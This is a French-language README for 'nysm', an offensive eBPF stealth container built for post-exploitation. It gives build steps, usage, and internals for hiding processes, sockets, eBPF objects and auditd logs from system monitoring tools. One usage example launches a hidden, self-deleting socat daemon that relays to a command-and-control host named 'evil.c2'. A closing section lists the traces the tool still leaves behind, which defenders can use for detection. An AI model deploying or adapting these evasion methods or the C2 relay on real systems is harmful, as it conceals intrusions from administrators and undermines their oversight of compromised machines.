
Conteneur furtif basé sur eBPF qui cache les processus, les sockets, les objets eBPF et les journaux d'audit des outils de surveillance système, permettant des opérations de post-exploitation clandestines.
Un conteneur furtif pour la post-exploitation.
Avec l’essor de la popularité des outils offensifs basés sur eBPF, allant des voleurs d’identifiants aux rootkits cachant leur propre PID, une question nous est venue à l’esprit : Serait-il possible de rendre eBPF invisible à ses propres yeux ? De là, nous avons créé nysm, un conteneur furtif eBPF destiné à faire passer les outils offensifs sous le radar des administrateurs système, non seulement en cachant eBPF, mais bien plus encore :
Tous ces outils deviennent aveugles à ce qui transite par nysm. Il cache :
Attention Cet outil est une simple démonstration des capacités d’eBPF en tant que tel. Il n’est pas destiné à être exhaustif. Néanmoins, les pull requests sont les bienvenues.
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
cd ./nysm/src/
make
nysm est un programme simple à exécuter avant la commande souhaitée :
Usage : nysm [OPTION...] COMMANDE
Conteneur eBPF furtif.
-d, --detach Exécuter COMMANDE en arrière-plan
-r, --rm Autodestruction après exécution
-v, --verbose Produire une sortie détaillée
-h, --help Afficher cette aide
--usage Afficher un bref message d’utilisation
Lancer un bash masqué :
./nysm bash
Lancer un ssh masqué et supprimer ./nysm :
./nysm -r ssh user@domain
Lancer un socat masqué en tant que démon et supprimer ./nysm :
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
Comme eBPF ne peut pas écraser les valeurs de retour ou les adresses du noyau, notre objectif est de trouver l’appel de plus bas niveau interagissant avec une adresse espace utilisateur pour écraser sa valeur et masquer les objets souhaités.
Pour différencier les événements nysm des autres, tout s’exécute dans un espace de noms PID séparé.
bpftool possède certaines fonctionnalités que nysm veut contourner : bpftool prog list, bpftool map list et bpftool link list.
Comme tout programme eBPF, bpftool utilise l’appel système bpf(), et plus précisément les commandes BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID et BPF_LINK_GET_NEXT_ID. Le résultat de ces appels est stocké dans l’adresse espace utilisateur pointée par l’argument attr.
Pour écraser uattr, un tracepoint est placé sur l’entrée de bpf() afin de stocker l’adresse pointée dans une carte. Une fois fait, il attend le tracepoint de sortie de bpf(). Lorsque bpf() se termine, nysm peut lire et écrire à travers la structure bpf_attr. Après chaque BPF_*_GET_NEXT_ID, bpf_attr.start_id est remplacé par bpf_attr.next_id.
Afin de masquer des ID spécifiques, il vérifie bpf_attr.next_id et le remplace par l’ID suivant qui n’a pas été créé dans nysm.
Les ID des programmes, cartes et liens sont collectés depuis security_bpf_prog(), security_bpf_map() et bpf_link_prime().
Auditd reçoit ses journaux via recvfrom(), qui stocke ses messages dans un tampon.
Si le message reçu a été généré par un processus nysm via audit_log_end(), il remplace la longueur du message dans son en-tête nlmsghdr par 0.
Cacher des PID avec eBPF n’a rien de nouveau. nysm cache les nouveaux PID de alloc_pid() face à getdents64() dans /proc en modifiant la longueur de l’enregistrement précédent.
Comme getdents64() nécessite de parcourir tous ses fichiers, la limite d’instructions eBPF est vite atteinte. Par conséquent, nysm utilise des appels en queue avant de l’atteindre.
Cacher les sockets est un bien grand mot. En fait, les sockets ouvertes sont déjà masquées pour de nombreux outils, car ils ne trouvent pas le processus dans /proc. Néanmoins, ss utilise socket() avec le drapeau NETLINK_SOCK_DIAG qui retourne toutes les sockets actuellement ouvertes. Ensuite, ss reçoit le résultat via recvmsg() dans un tampon de message et la valeur retournée est la longueur de tous ces messages combinés.
Ici, la même méthode que pour les PID est appliquée : la longueur du message précédent est modifiée pour masquer les sockets nysm.
Ces dernières sont collectées à partir des appels connect() et bind().
Même avec le meilleur effort, nysm a encore quelques limitations.
Tout outil qui ne ferme pas ses descripteurs de fichier détectera les processus nysm créés pendant qu’ils sont ouverts. Par exemple, si ./nysm bash est lancé avant top, les processus n’apparaîtront pas. Mais si un autre processus est créé depuis cette instance bash pendant que top est toujours en cours, le nouveau processus sera repéré. Le même problème se produit avec les sockets et les outils comme nethogs.
Journaux du noyau : dmesg et /var/log/kern.log, le message nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! apparaîtra plusieurs fois à cause du vérificateur eBPF lors de l’exécution de nysm.
De nombreuses traces écrites dans des fichiers sont laissées, car accrocher read() et write() serait trop lourd (mais toujours possible). Par exemple /proc/net/tcp ou /sys/kernel/debug/tracing/enabled_functions.
Bien sûr, beaucoup de ces limitations doivent avoir leurs propres solutions. Encore une fois, les pull requests sont les bienvenues.
Masquer recvmsg de ss peut être délicat car une nouvelle socket peut apparaître au début du tampon, et nysm ne peut pas la masquer avec un enregistrement précédent (cela ne s’applique pas aux PID). Une correction rapide pourrait consister à échanger la place entre la première et la prochaine socket légitime, mais que faire si une socket est seule dans le tampon ? Par conséquent, nysm modifie les informations de la première socket avec des valeurs codées en dur.
L’exécution de bpf() avec un quelconque drapeau BPF_*_GET_NEXT_ID depuis un processus enfant de nysm doit être évitée, car cela masquerait tous les objets eBPF non nysm.